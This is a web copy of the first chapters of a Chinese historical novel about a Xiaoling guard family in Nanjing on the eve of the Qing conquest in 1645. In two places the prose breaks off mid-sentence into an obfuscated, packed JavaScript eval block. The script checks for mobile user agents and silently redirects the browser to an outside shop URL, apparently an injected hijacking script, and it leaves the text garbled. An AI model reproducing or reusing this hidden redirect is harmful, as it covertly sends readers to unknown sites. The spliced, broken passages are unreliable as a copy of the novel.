《孝陵忠魂(免费)》 1. 榴火照残世 今年夏序先启,后院的石榴树花都开繁了,丹华灼烈,璀璨有光。那一束束婀娜的枝条像把前些年省下的精气都使了出来,铆足劲儿开花。 周瑛在井边取水,眼睛不看井里的吊桶,只盯着摇辘轳的双手。 她昨晚用闽小梅送来的凤仙花染过指甲,那十颗扁扁圆圆其貌不扬的指甲此刻嫣红晶莹,宛若熟透的石榴籽,别样可爱。 这时节大红凤仙花随处可见,闽小梅家花园里的凤仙比别处开得更大更艳,每年她都会摘好些分赠给姐妹们染指甲。 周瑛自幼习武,不常用这些花儿粉儿的,近日时闻清军突破淮河防线、接连攻占多地,军情愈发危急,南京城内人心惶惶,父辈们的脸色日渐沉郁,她更没心思穿戴打扮了。 可闽小梅却道:“听说皇上还在宫中设宴唱戏呢,想来局势并不似传说的那么坏。男人们尚且纵情声色,我们女子凭什么不能快活度日?” 这话颇有道理,周瑛谢她美意,昨晚熄灯前捣出凤仙花汁,加白矾细细调匀,仔细涂抹指甲。 期间父亲摇着轮椅出入厅堂,见了她这番举动,脸色便不太好看了,说:“涂了那个如何做事?” 周瑛答得一点不心虚:“放心吧,不耽误的。” 倒回去两三年她绝不敢这么跟父亲顶嘴。 父亲周世楠世袭孝陵卫千户官,生来便是练武奇才,将祖传的“七十二路混元刀法”发扬光大,一口八十斤重的偃月刀被他使得行云流水,力敌千钧,是南直隶所有卫所里公认的第一高手,在孝陵卫当了整整二十年把总,训练过数万军士。性情更是火 爆刚烈,说一不二,军中族中没有不敬畏他的。 谁能料到这么个铁打的汉子两年前竟会因中风落下半身不遂的残疾? 打那以后周世楠就像经霜的茄子,整个人软下去。去年夫人姜氏病故,他更失了臂膀,平日里说话嗓门都小了。 周瑛知道自己已顶替母亲成为家里的主心骨,父亲得靠她支撑家事,抚养幼弟,故而态度日益和蔼。 她也仗着腰板渐硬,不再惧怕他的管束,凡事先由着自己高兴。 周世楠受她那句抢白,果然没说什么,叹着气离去了。 周瑛提着水桶将院落里各处路径浇上一遍,再用大扫帚仔细清扫。 西边院墙后是赵少卿家的花园,往常总听见女人们嬉笑打闹,这些日子静悄悄的。 昨天她好奇不过,爬上墙头张望,园子里花自飘零水自流,但见几只彩鸭在水塘里闲闲游弋,人影半个都无。 赵少卿定是听到风声,偷偷将家眷转移了。 周瑛忙去告诉父亲,周世楠却不在意,反责备她出格无礼。 “人家可能去乡下避暑了。 “避暑总得留些人看园子吧?他们从没这么过。” “闲事莫管,管好你自己。” ……………… 周瑛断定父亲的不在意全是装出来的,他不想承认兵祸将近,不肯做避难的打算,怕遭人耻笑,那便做不成忠臣好汉了。 扫帚在地上挥来挥去,地没扫干净,她的心倒越来越乱,拄着扫帚,怔怔望向墙边那几株石榴。 花开得这样疯,这样不管不顾,像要把整棵树都点燃似的。 父亲说过,草木反常则为妖。这般不合时宜的绚烂,让她无端想起秦淮河上那些至今彻夜不息的灯火,想起闽小梅说“皇上还在宫中设宴唱戏呢”。 忽然一阵风过,石榴枝乱颤,几瓣猩红飞落在她跟前上。 她侧耳细听,西墙那边静得可怕。不是无人时的安宁,而是连鸟叫都消失了的死寂,在炎炎夏日里催生出一种凋零万物的寒意。 当心乱到极处时,又因无能为力的空虚慢慢定下来。 等着吧,待会儿田伯父总能劝动爹。 老家人忠伯提着菜篮穿堂而来,见了她忙放下篮子来抢扫帚,神情极为内疚。 “瑛娘,你怎么能做这个!” 周瑛躲开,淡然道:“家里人都走光了,这些事我不做谁做?我们军户人家不比士大夫家规矩多,不打紧。” 上月听说清军分路南下,徐州守将李成栋弃城南奔。家中仆婢们终日哀恐窃议,周世楠见他们逃退心切,索性把想走的全打发了,只忠伯和管厨房的李妈愿意留下。 忠伯哀声苦叹,骂道:“这帮王八羔子,受了主子多少恩典,如今尽顾着自保,良心都坏透了!” 周瑛却很通透:“蝼蚁尚且偷生,也不能太怨他们。” 她望一望那菜篮,问他买了些什么。 忠伯忙提过来一样样翻给她看,有熏鸡、酱肉、豆腐、黄瓜、苋菜,一小罐糟鱼。 “市场上小贩少了一半,店铺也关了好些,我从新桥走到北门桥又走到三山街也没买到鲥鱼。幸好买着了彩艾,已插在门首了。” 周瑛发出不易察觉的叹息,弟弟宗保年年盼着鲥鱼上市尝口鲜,看来今年要失望了,不过在这人人愁眉苦脸的时节,他一个孩子的小失望微不足道。 她让忠伯将菜蔬送去厨房,再扫了几下地便不胜烦厌,重新打来一桶水去擦堂屋的门窗家具。 堂屋里香烟缭绕,周世楠正守着十二岁的儿子周宗保为关公上供磕头。 神龛供桌全是磨角落漆的老物件,衬得那黄澄澄的关公像金灿夺目。 神像通高尺许,遍体赤金,凝润无疵。 头上宝冠暗饰云纹,长髥垂胸,根根可辨。身上铠甲錾纹致密。左手持刀,刃隐寒光,右手握拳,指节分明。身姿雄壮,神威凛凛。 周家先人乃太祖开国功臣,倾数代财力铸造这尊赤金关公像,供奉传承已历百载。 周世楠等儿子规规矩矩给神像磕完头,叮嘱:“从小你爷爷就教我每天要恭恭敬敬侍奉关二爷,往后你也得这么教你的儿孙,切不可疏懒中断。” 这句话传入周瑛耳朵里,总有些不吉利的意味,刺激了她藏在心底的憋闷慌乱。 她佯装平静地挨个擦抹桌椅板凳,来到东墙旁的兵器架前,架上插着几把刀枪棍棒,居中一口偃月刀最显眼。 柄长五尺,裹鲨鱼皮,描金绘二龙戏珠。刃阔尺余,寒光冽冽,锻纹流波。锻自名家,淬于寒泉,斩铁如泥,经百年锋芒未减,乃周家传家至宝。 周瑛依着次序清洁那些兵器,轮到家传宝刀时,周世楠陡然轻咳一声。 她的动作因这刻意的提醒停顿,宗保已跑过来,殷勤地从她手里扯过抹布:“姐姐,这刀我来擦,你歇会儿吧。” 周瑛不理会父子俩的双簧,转身时故意让父亲看她紧绷的脸。 周世楠扭头回避,他知道女儿不高兴,可祖宗交代那口冷月刀传男不传女,女子碰触会折损宝刀刚气,他岂能坏规矩? 拜完关公,他照例去后院教儿子练武,周瑛趁日头还不猛,拎只凳子坐到离后门不远的的树荫下,为弟弟缝制新衣。 后门半掩着,透过二尺缝隙能窥见外面的街巷。 “透点风,凉快。” 她使这借口观风望景,这几日她越发关注邻居们的动静,每听到车轿驶过,足音杂沓奔驰,便加紧查看,好用那些一闪而逝的混乱景象佐证自身猜测,今天更想靠这景象撼动父亲的执拗。 谁知周世楠不为所动,还嫌吵,喝令宗保紧闭门扉。 周瑛数次张嘴,心中不满几乎夺路逃逸,都被她生生堵回去。 田伯父和文琼快来了,可不能当着他们跟爹闹龃龉。 正想着,她心心念念的良人便在忠伯引导下,跟着他父亲走进院子。 周世楠欢喜迎接,催促宗保拜见贵客,并招呼她去行礼。 她放下针线,粉颈微倾,低首垂眸,步子迈得慢吞吞的,心里早已脱兔般欢蹦过去。 “田伯父好,田世兄好。” 她认真道了两次万福,微微抬头瞧见青年俊秀的脸被阳光映得明媚绚丽,把她心底的边角缝隙都照亮了。 伯父田子兴是父亲的义兄,现任孝陵卫指挥使。其长子田文琼也供职孝陵卫,年方二十已受封百户长。 周瑛幼时多受母亲纵容,喜与众小儿顽皮嬉戏,田文琼正是她最要好的玩伴,从竹马秋千、蹴鞠迷藏,到上树掏鸟,上房揭瓦,统统玩得不亦乐乎。 自那时起双方家长便在一声声训斥、一次次打骂中立定了亲上加亲的主意。 十六岁那年田家正式下聘,约好半年后嫁娶。后来周世楠突然病倒,跟着姜氏亡故,这门亲事便耽搁了。 宾主行完礼数,田子兴双手搂住宗保,抱起来掂了掂,放下夸奖:“又壮了,在练你家的‘混元七十二式’呢?学到第几式了?” 宗保笑答:“第十三式‘青龙缠腰’。” 田子兴命他耍来看看,宗保雀跃地提刀上场,身体向左旋转,刀柄贴腰,刀刃随旋转轨迹横扫一周,双脚交替跨步保持平衡。 这一招的要义在于应对身后偷袭,适合被多人包围时突围,实战中强调 “旋速快、范围广,避实击虚”。 宗保年幼,底子铺得较好,可出招时力道不够、重心欠稳,及至收刀手腕疲软,刀柄脱手飞出,落在三丈外。 不光他羞惭,周世楠也颜面无光,数落:“刚教过你旋斩时须借力驭力,你全当耳旁风了!” 田子兴呵呵打圆场:“宗保小小年纪,练到这步够不错了,贤弟且耐心磨炼他,莫要急于求成嘛。” 又勉励宗保,竖起右手大拇指说:“你爹当年可是我们孝陵卫的这个,连熊廷弼熊经略都称赞他的枪法精妙无双呢。” 说得宗保更加惭愧,周世楠讪讪苦笑:“都是些陈年旧事了,不提也罢。” 人间憾恨莫过于壮士垂暮,美人色衰,谁都清楚周世楠内心远不及嘴上那么释然,他迫切希望恢复家门昔日的荣光,奈何幼子孱弱的肩膀还挑不起这副重担。 周瑛默默旁观,这时默默走去捡起弟弟失落的刀。 人们都不吭声了,几双眼睛齐齐看过来。 她浑若不知,提刀在手,腰身如弓蓄力,柄身灵蛇般贴腰疾旋,新月状的寒芒骤然铺展,刀刃破风的锐啸里,脚交替错步,左脚碾石撑身,右脚顺势前跨半尺,既稳旋转冲势,又将刀弧扩至丈余外,尘土随旋势卷扬,如纱帐随行。旋速快若奔雷,刀光广若满月,身周数尺之地尽被笼罩,绝无半分破绽。 田子兴大声叫好,宗保和忠伯使劲喝彩。 周瑛没听见田文琼出声,但断定他比其他人看得更专心。打小他就爱她的野和强悍,更服她万中无一的练武资质。 八岁上她便凭悟性和筋骨证明了自己是周世楠的女儿,较起真来,这南直隶小一辈里没人的刀法能盖过她。 最后一轮旋斩将收,她借余劲微调姿势,左脚疾撤半步,右脚再跨,刀刃顺势二次旋扫,角度略低,避实击虚,暗合刀法精髓。 整套动作一气呵成,收刀时身形挺直如松,刀刃垂落身侧,腰侧衣袂随余风轻摆。周围尘沙渐定,地面上刀风掠过的痕迹清晰可见,都是规整的正圆形。 田子兴大力鼓掌,赞不绝口:“妙极,妙极,多时不见瑛儿舞刀,这是又精进了不少啊!” 继而向周世楠道贺:“瑛儿已得了你的真传,足慰贤弟襟怀了。” 周世楠挣回几分面子,含笑叹惋:“可惜不是男娃……” 周瑛有再多骄傲都经不起这句轻描淡写的打击,沸沸扬扬的信心顿遭釜底抽薪,怨念倾覆一地。随手将刀抛还宗保,端起针线筐快步往前院去,用狠重的脚步声遮盖父亲:“动不动甩脸子,你还懂不懂规矩!”的吼叫。 田文琼下意识追出半步,右手微抬,唇甫张,却在少女刚强的背影里化作一声无声的叹息,缓缓垂下的手紧握成拳。 “你明知道孩子不爱听,就别说这些嘛。” 周瑛隐约耳闻田子兴的劝说,不争气的眼泪悄然偷袭,被她愤怒地用手背抹除。 她最孝敬父亲,父亲却最不体谅她,专冲她的心窝捅刀子,就因为她不是儿子还占了头胎的位置。 她躲回闺房缝衣服,不久风吹帘动,田文琼蹑步进来,她不回头也知是他,心儿扑通乱跳,猜他会不会像过年那次一样莽撞地偷亲他。 当时她气得要打他,经他柔声下气半哄半求许久才答应放过,警告说再犯便拧掉他的耳朵,眼下若真亲了,她该如何体面收场? 幸好田文琼这回很守规矩,停在咫尺外,将一个锦布小包放在她身旁的桌案上。 “上次你说玉容斋的胭脂不干净,这是我在凝香阁得来的新货,说是玫瑰花汁浸了桑蚕丝制成的,又香又抹得匀净,你试试。” 周瑛只瞥了一眼,口是心非挖苦:“那些奸商尽骗你们这些大老粗,回头要不好使,你就去砸了他的店。” 田文琼笑呵呵的,俄尔正色道:“爹准备今天跟周叔商量,尽快把我俩的事办了,就怕时间仓促,喜事不够风光,委屈了你。” 这事周瑛已听父亲露过口风,时局骤变,将来孰难预料,没准不等她守完母亲的孝期天就变了。 “去年北京沦陷,多少逃难过来的青年男女在半道上无媒而合,非常时期也顾不得礼节了。” 那晚听父亲如此开导,她不失时机反问:“爹也知道而今是非常时期啊?” 周世楠愣了愣,冷着脸赶她回屋。 爹什么都明白,就是迈不过那道拘了他大半辈子的门槛。那门槛上有关二爷横刀立马,祖宗们横眉冷对,爹是他们的信徒兼囚徒,死心塌地,百折不回。 “我嫁你只图你靠得住,喜事是办给外人看的,风不风光有什么打紧?” 她咬断线头,拎起衣服抖了抖,提出必须要求:“不过我就剩这个爹了,不能不管他。” 田文琼和她灵犀相通,忙说:“这事爹也会跟周叔提,婚事一完我们就带周叔和宗保去泉州。” 田家祖籍泉州,在乡间颇有资产,足可避祸栖身。 周瑛得了这个信,浮动的心绪总算踏实了,听见忠伯来唤他们吃饭,忙催田文琼快走,轻轻拈起那锦包塞入袖口,若无其事地跟着出去了。 中午的端阳宴比往年简素太多,李妈挖空心思凑出八碟六盘三碗,都是些家常小菜,幸亏粽子是昨天提前包好冰在井里的,还可拿出来应景。 武将家风粗放,男女同桌而食,周瑛带宗保坐了下首,为大家添汤布菜。 饭前周世楠已与田子兴商定完儿女婚事,席间谈起公务,关切询问孝陵卫的现状。 “此番鞑子来势汹汹,非同往昔,大哥务必加紧操练布控,谨防万一啊。” 自太祖宴驾,朝廷设卫所保卫孝陵,遂为南京京卫之一。初始编制五千人,最高长官为指挥使,官阶正三品。辖下有前、后、左、右及牧马五个千户,周家世袭担任的便是右千户长。 自嘉靖年间起,受卫所屯田制度崩坏、军卒逃亡及应北方战事抽调兵力等影响,孝陵卫编制大幅缩水,崇祯末年甚至沦为充军劳教之地,编制彻底混乱,目前仅剩千余人。 周世楠说起这些弊端,焦忧满面,恨不得回军中去守陵。 孝陵象征着大明朝的尊严,更是周家荣耀的基石,容不得半点闪失。 他滔滔发论,众人静静倾听,那些话周瑛早倒背如流,若可以,亦能反驳如流,她像看身患绝症还在盲目求医的病人,心想在座同情父亲的非止她一个。 田子兴嘴里的菜肴已成了黄连,周世楠的一切叮嘱他都诺诺应承,适时接话:“贤弟尽管放心,为兄哪怕只剩最后一口气,也会死守孝陵。可宗保尚幼,他是你唯一的香火,你不能不为他打算啊。” 宗保一直慢慢扒拉碗里的饭粒,听到这儿惊讶地看了看长辈们,随即低头,脸快埋进碗里。 周世楠略微诧异,立刻明了弦外之音,沉色道:“他还有姐姐,我想琼儿也不会不管他吧?” 田家父子生怕惹误会,田文琼与父亲对视一眼后忙不迭承诺:“周叔放心,宗保以后就是我弟弟,我保证待他比待亲弟弟还好。” 田子兴握住周世楠的手,苦口郑告:“我与贤弟情同手足,肝胆相照三十年,从未有过异心。贤弟此言生分了。” 周世楠感愧摇头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周世楠含糊应了,风波便算过去了。 田子兴知他心意已决,只得放弃劝说,举杯邀酒,声言不醉不归。 士大夫饮宴喜欢猜枚行令,武家会的花样不多,酒过三巡,田子兴带头唱戏助兴,问宗保想听哪出。 宗保不假思索道:“《精忠记》!” 他受长辈言传身教,对古代的忠臣良将推崇备至,最仰慕抗金大英雄岳飞。时下流行的昆曲《精忠记》他看了无数遍,还给戏作者冯梦龙写过信。 田子兴起身,气沉丹田,慷慨而歌,唱起《精忠记岳侯涅背》里的“南吕引·金莲子”。 “泼天云雾,密匝的围断英雄生路。国难显忠臣,免不得后文先武。自信素晓韬钤……” 声若洪钟绕梁,“泼天云雾” 四字铿锵有力,似要咬碎眼前漫天阴霾。 “直前无惧” 一句甩腔高亢,洋溢着沙场上淬炼的悍勇。 然唱至 “尽扫胡尘”,声线忽添沉郁,如裂钹般暗哑颤栗,似有血气萦回。 末句 “苍天佑,佑我尽扫胡尘,把金瓯重补。” 反复吟哦,尾音绵长,既似孤雁哀鸣,又透出磐石般的执念。 满座皆寂,周瑛心下凄恻,仿佛听到了遥远关外的风啸。再看田子兴和周世楠的双眼都亮晶晶的,是光影亦或泪光? 入夜,她理罢家事,到院子里通风凉爽处点上油灯缝衣服,这件直裰只剩下摆没缉边了,今晚赶工,明早弟弟就能穿上,补偿他没吃到鲥鱼的遗憾。 周世楠摇着轮椅经过,见了说:“太晚了,明天做吧。” 周瑛手没停,埋头回道:“如今家里人少,不用省灯油钱了。” 周世楠不悦:“我不是省钱,灯下缝衣伤眼睛,别像你娘那样上点年纪就成睁眼瞎。” 周瑛转头看着他笑:“兴许我还活不到娘那个岁数呢。” “胡说!” 周世楠调转方向,挪到她跟前,女儿最近越来越放肆,他得好好教训一番。 “做子女的怎么能当着父亲说这种话?太不孝了!” 周瑛换上落寞表情,嗫嚅:“女儿也想活久点,侍奉您终老……” 周世楠警觉又差点被她绕进去了,冷哼着调头。 周瑛急忙叫住他,语气尽量委婉,字斟句酌道:“爹,我们家的族谱还没修完呢,那么多祖宗牌位好些我都认不清是谁。” “…………” “还有江浦老家的祖坟,我只去过两次,早记不清方位,宗保就更糊涂了。您要是不在了,往后谁带我们去祭祖?” 女儿近乎哀求的提醒犹如连绵暴雨冲击着周世楠的心田,激起一滩滩泥泞。他嘴角的肌肉绷得像两块铁疙瘩,迅速转动轮椅回去睡房,不理会周瑛连声的呼唤。 他残疾后家里的门槛上都安装了木板定制的斜坡,方便轮椅进出。此时慌乱,轮子卡在木板接缝处,迟迟不能动弹。 周瑛看在眼里,赌气不管,父亲装聋子,她便装瞎子。 周世楠心知女儿在报复,也不寻求帮助,急躁地依靠蛮力冲撞,很快挣得满头大汗。 轮椅和木板受气包似的咯吱咯咯吱喊冤,周瑛听见父亲狼狈愤恨地喘气叫骂,眼眶和心脏都火辣辣的疼,更感觉在被一把钝刀子无情地刮弄神经。 父女俩比拼着倔强,树上蝉鸣变得狷亢,似在助威。 周瑛到底忍不住先认输了,气冲冲上去,用力移出被困的轮椅,将父亲推过门槛,再以近乎粗暴的姿态轰然关闭房门。 门后静了片刻,接着轮轴咯吱轻响,父亲无声地往房里去了。 周瑛紧咬下唇,不让呜咽溢出。 云雾漫过上空,月亮被遮住了,本来就只有那么一点弯钩似的月牙,也彻底看不见了。 但月亮有耐心,等那片赶路的云过去,又弯眉笑眼地出来,唤醒在屋檐下呆立的少女。 周瑛抹去风干的泪痕,重回灯下专心缝衣,人活一天,该干的事还得认真干。 远处更鼓奏响,她钉完最后一颗纽扣,收拾东西举灯回屋,在东侧小天井里遇见正在解手的弟弟。 “以后起夜用夜壶,家里人少,仔细出来遇上贼。” 她嘱咐完,领宗保去闺房,让他试穿新衣。 宗保期待已久,兴高采烈穿上,。 这豆绿色直裰花纹暗浮,柔滑软糯,尺寸不大不小正合适,做工一等一的精细。这让他对姐姐更添了自豪,姐姐的刀法举重若轻,女红缝纫也不压那些声名在外的针娘。 “这料子比花罗轻软,穿起来也凉快。” “这是正宗的刻云绡,我攒了好几年舍不得用,便宜你小子了。” 周瑛为弟弟整理衣衫,含笑教导:“你要好好练武,更要用功读书,将来重振周家的声望。” 宗保嘻嘻举起右手发誓:“姐姐放心,我定会发奋图强,以后做岳爷爷、文丞相那样的大英雄!” 周瑛抢白:“岳武穆倒罢了,可别学文天祥。” 宗保不解。 她正经提点:“文天祥固然可敬,但大宋江山难道只靠他一人之忠就能延续?宋朝皇帝都投降了,他还为了面子死守。过去那么多朝代,也没见哪一朝亡了,天下人就全死光的。在寻常人而言,谁做皇帝都一样,我们只要能安安稳稳活着就够了。” 听老人们说,元朝时江南一带“轻徭薄赋、因俗而治”,百姓过得并不坏。许多宋朝臣子投降后照旧做官,只是朝廷从姓“宋”,改成了姓“元”。 她估摸满人和蒙古人是盟友,行事做派大约相近,真到了改朝换代那一天,不如顺应时势,何必为不值钱的名节赔上性命? 宗保的黑眼珠霎时溅出火星子,稚气面庞扭曲了。 “你胡说!文丞相是最有骨气的忠臣!谁污蔑他谁就是奸贼!” 弟弟前所未有的反叛令周瑛一时无措,愣了愣,厉色责问:“你在冲谁撒野!?” 宗保退后一步,三尸暴跳:“谁让你污蔑忠臣?我们家没你这样的奸贼!” 他连扯带扒脱下新衣,使劲摔还她,扭头跑了。 周瑛追到门口,气得浑身发抖。她一心为着这个家,顾惜每一个人,结果到头来谁都辜负她 2. 墙外风雨来 入梅了,雨水渐丰,洗完的衣服晾晒时稍不注意便会发霉,得重洗。 遣散仆妇后周瑛开始学洗衣服,如今已得心应手。旁边协助的李妈不住夸赞:“我家瑛娘到底是习武的,手腕子有劲,衣服洗得又快又干净。” 周瑛笑了笑,瞥见宗保正藏在院墙后贼头贼脑偷瞄她。 姐弟俩自那夜争吵后便互不理睬,吃饭时也没话。周世楠问过两次,都被周瑛搪塞过去,只好劝导:“你是姐姐,多让着他点嘛。” 周瑛见父亲没别的话,猜宗保没告状揭发她贬低文天祥,气慢慢消了。 李妈也瞧见宗保了,扬声问:“宗保,你躲那儿作甚?” 宗保趁机溜过来,笑眯眯说:“我看你们洗衣服。” 他蚂蚱一跃蹲到周瑛身旁,伸手去拿盆里的脏衣:“姐姐我帮你洗。” 周瑛冷着脸夺回衣服扔盆里,宗保马上另拿一件,笑意不减:“我帮你洗嘛。” 说着学她们的架势搓洗衣服,笨手笨脚,一丝不苟。 李妈笑夸:“宗保懂事了,学会心疼人了。” 宗保嘿嘿道:“姐姐对我和爹那么好,我自然要心疼她。” 弟弟靠甜言蜜语求饶,周瑛脸上的冰霜随即融化,微微扭头斜睨他。 宗保笑得更卖力,双眼眯成缝,露出几颗白生生的牙齿。 周瑛一指头戳在他脑门正中,他捂额哎哟一声,恢复笑脸,姐弟间的矛盾就此消弭于无形。 三人到东墙下晾衣服,此处能看到礼部尚书钱谦益家的高楼。 宗保忽然说:“你们听,楼上有人在吵架。” 风吹树响、虫鸣鸟叫中混杂着人声,周瑛侧耳细听,一男一女正在高楼上争执,女音尖锐激动,男声苍老慌急。 宗保复惊:“是钱尚书和钱夫人!” 双方的话音受杂音干扰断断续续,像撕碎的锦缎,东一片西一片飘飞,周瑛费力分辨只听清几句。 “……先帝殉国时你捶胸顿足,今日却说‘水太凉’……” “夫人不可冲动啊……” “天啊,我以为嫁得知心人,不料竟遇上了骗子……” 猛闻一声摔砸器皿的脆响,连墙外人都凛然一惊,三人再凑上耳朵却再无后话。 李妈颇为惊疑:“这钱尚书和钱夫人向来恩爱无比,今日拌嘴竟这般厉害。” 周瑛也很纳闷,钱夫人本名柳如是,出自秦淮河边的乐户,才情卓越,早年艳名远播,江南地界无人不晓。四年前她突然嫁给比她年长三十五岁的文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875417|191879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坛宗师,前礼部侍郎钱谦益,此事轰动朝野,至今被南京人津津乐道。 周家和钱家邻里多年,偶有往来。姜氏在世时鄙视柳如是出身,避而远之,周瑛也因此对她颇有成见。 后来母亲新丧,她悲痛忙碌,日子乱无头绪,那柳如是倒主动施以援手,对周家多方照应。 打过几次交道后周瑛方知这位钱夫人并不似传闻中那般狐媚妖淫。其人重义轻利、洒脱不羁,没有寻常妇道人家的温婉柔顺,倒似女中丈夫,侠骨丹心,奇气纵横。 柳如是知周瑛好学,赠她各种经史典籍,并乐于教授学问。这一年来周瑛在她点拨下长了不少见识,常因她的独到见解耳目一新,衷心钦敬这位胸有沟壑的才女。 只是柳如是每谈到气节,观点都刚烈激进,同文天祥如出一辙,这点周瑛不太认同。 宗保问:“姐姐,我听说钱尚书很宠钱夫人,为她修绛云楼花了好多钱,钱夫人怎会骂他骗子?” 周瑛嗔怪:“男儿家家的不可嘴碎,否则将来定会讨人嫌!” 她隐约觉出此事不善,用爹的套路堵弟弟的嘴。 墙边石榴花正大片掉落,新的花苞仍在大把盛开,红得触目惊心,仿佛从树身上挤出的血,沉甸甸挂在枝头,再滴落满地。 3. 梅雨葬衣冠 前天忠伯去老家收租了,今早周瑛听过路的街坊说城里许多商贩闭店逃散,百姓们都在抢购粮油煤炭等生计之资,连中药铺都被买空了,再不去明日恐怕什么都买不到了。 她赶忙背起竹筐出门,街口马家的儿子马世奇正站在大门外,手里捏着个麻布袋子,见了她慌促地低下头。 这马世奇与宗保同岁,常来周家玩耍。他父亲马应魁是兵部尚书史可法的幕僚,上月随史尚书镇守扬州,左邻右舍无人不知,每日都有人去马家打探前方战况。 周瑛和蔼问:“小奇,有事吗?” 马世奇脸红如柿,羞赧道:“外面到处买不到粮食,家里快断炊了,家母让我来问贵府能不能借些米给我们。” 他说话很没底气,大概已被其他人拒绝过,周瑛爽快道:“十升够吗?” 家里还有几百斤存米,但接济邻居须细水长流。 马世奇连忙点头,满身拘谨被惊喜感激冲散了,向她深深作揖致谢。 宗保恰巧拿着弹弓跑出来,周瑛顺手将马世奇的布袋递给他,吩咐他去厨房装十升精米,宗保小跑着去了。 周瑛问马世奇:“小奇,这两天你爹有信儿吗?” 听说月初起马家便没接到马应魁任何消息,街坊们纷纷猜测扬州战事告急,不断举家出逃。 马世奇脸色复又沉寂,轻轻摇着头,那与年龄不符的忧虑让周瑛后悔询问他,不问还能做乐观估计,这下侥幸更无立锥之地了。 宗保背着鼓鼓囊囊的米袋子跑出来,侧身让马世奇看他别在腰间的弹弓。 “我新做的,待会儿我们一起打鸟去!” 周瑛吩咐宗保送马世奇回家,匆匆前往市场。 数日未上街,南京城已变了个样。往日整洁的街道堆满枯枝败叶、粪土碳渣和各种破烂货,被雨水浸泡,恶臭刺鼻。 街道两侧的店铺十有八九关门歇业,不少铺子门板破碎,店内狼藉,惨遭打劫。仅存的几家粮铺和南货店前挤得水泄不通,哭喊声、争抢声、人群推挤叫骂声揪心震耳。 粮铺掌柜站在柜台后,满脸焦灼地亲自用木勺舀着米,左支右绌,手忙脚乱。 米价已在一日内翻了三倍,仍供不应求。 “让一让!给我来五斗白米!” “我出双倍价钱,先给我称!” ………… 衣衫破旧的百姓踮脚往前挤,手里攥着干瘪的钱袋。身着绸缎的富家子弟混在其中,喝令家丁尽量抢购。拥挤中不时有人被推倒在泥泞里,哭喊着爬起来继续争抢,身上的衣服沾满泥水污渍,早已没了体面。 菜市的烂菜堆往日是大家避之不及的污秽之地,如今竟围满了人。 不仅有面黄肌瘦、破衣烂衫的穷人,还有不少穿着得体、面色憔悴的普通居民。 他们佝偻着身子,在霉烂发黑的菜叶子、腐坏生虫的瓜果里扒拉,摘取看起来尚可食用的部分,飞快塞进竹篮箩筐,像保卫珍稀财宝般谨慎,随时提防旁人抢夺。 每个人脸上都愁云浓重,皱眉难舒,神色恐慌。 相识的邻里擦肩而过,只匆匆点头示意,都无心寒暄。往日里斯文谦和的居民变得戾气十足,为抢一斤米、半袋盐红着眼相互辱骂,污言秽语,不堪入耳。乃至争执升级,拳脚相向。 有人被推倒在污水洼里,巾帽跌落,发髻散乱,衣衫被揪扯成梅干菜,仍死死攥着到手的物资,张嘴撕咬争抢者。 小偷愈发猖獗,趁着人群拥挤,穿梭其间,手指飞快探进他人行囊、衣襟,得手后迅速混入乱流般的人潮,消失无踪。 更有甚者公然拦路抢劫,几个精壮汉子手持木棍,拦住一辆装满财货的马车,威逼车主交出金银货物,车主苦苦哀求,被乱棍打倒,眼瞅着看财物被洗劫一空。期间没有任何差役前来阻止。 周瑛接连看见好几个被偷走、抢走财物的男女瘫坐在泥水中捶胸顿足,凄厉嚎哭,也有人揪着自己的头发,石像般呆滞凝固。 她在南京城土生土长,没见过如此诡异的氛围,感觉有一群隐形的恶鬼正顺着梅雨天的湿气四处横行。它们煽动着人们心底的恶念,让斯文扫地、让和睦崩塌,将末世的黑雾一点点散播开来,笼罩着这座岌岌可危的城池。 “瑛娘!瑛娘!” 喧嚣中有一女子高声呼喊,周瑛认得是好友闽小梅,转着圈东张西望,找到她被人流遮挡的轿子。 闽小梅唯恐她看不见,掀起轿帘探出大半个身子冲她挥手。 周瑛连忙挨挨挤挤地靠过去,拉住闽小梅的手钻进轿厢。 “瑛娘你怎么自己出来买东西?” “家里人都走光了,找不到帮手。” “唉,我家也是,就剩几十个家生奴才了。” 闽小梅的父亲曾在崇祯朝任吏部郎中,先帝驾崩后他南渡归乡,赋闲在家。闽氏乃江南望族,家资巨万,奴仆上千。闽小梅生于富贵乡,天真烂漫,从不识人间愁滋味,周瑛还没见她这么沮丧过。 闽小梅晃眼瞧见她指甲盖上残余的蔻丹,拉过她的手腕笑问:“你染指甲啦?” 周瑛莞尔:“我要做事,才几天就掉色了。” 闽小梅瘪嘴:“凤仙花我家还多得是,可我想你大概没心思再染了。” 她扭身从座位下取出一只锦盒,一边打开一边说:“琳琅宝斋今日正在发兑,我去挑到一些好货色,这只凤钗很适合你,戴上试试。” 她不由分说将一只硕大的展翅金凤钗插到周瑛髻上,左右端详着称赞:“好看,真好看。再试试这只,这只也不错……” 她插花似的接连往周瑛髻上插了两只金钗、一支玉笄、三根嵌宝玉簪,周瑛头颅渐沉,忙止住,调侃:“你拿我的脑袋做插糖葫芦的草把子吗?” 闽小梅笑中带苦:“瑛娘,父亲要带我们去广州投奔叔父们,后日便出发了。” 周瑛愕然,立刻联想闽家必是收到可靠消息,知道南京快保不住了。 闽小梅难过地珠泪盈眶,双手握住她的手倾吐衷肠:“我这一去怕是回不来了,我想咱俩好了一场,总得给你留点念想,这几件首饰你就收下吧。” 周瑛和她做了几年知心姐妹,离别在即,不胜感伤,也想回赠礼物。身边没有贵重之物,只好褪下左腕上的包金银镯交给她。 闽小梅当场戴上,含泪劝告:“南京怕是守不住了,你也快带家人去避难吧,父亲说鞑子兵烧杀抢掠,无恶不作,走晚了恐受池鱼之殃。” 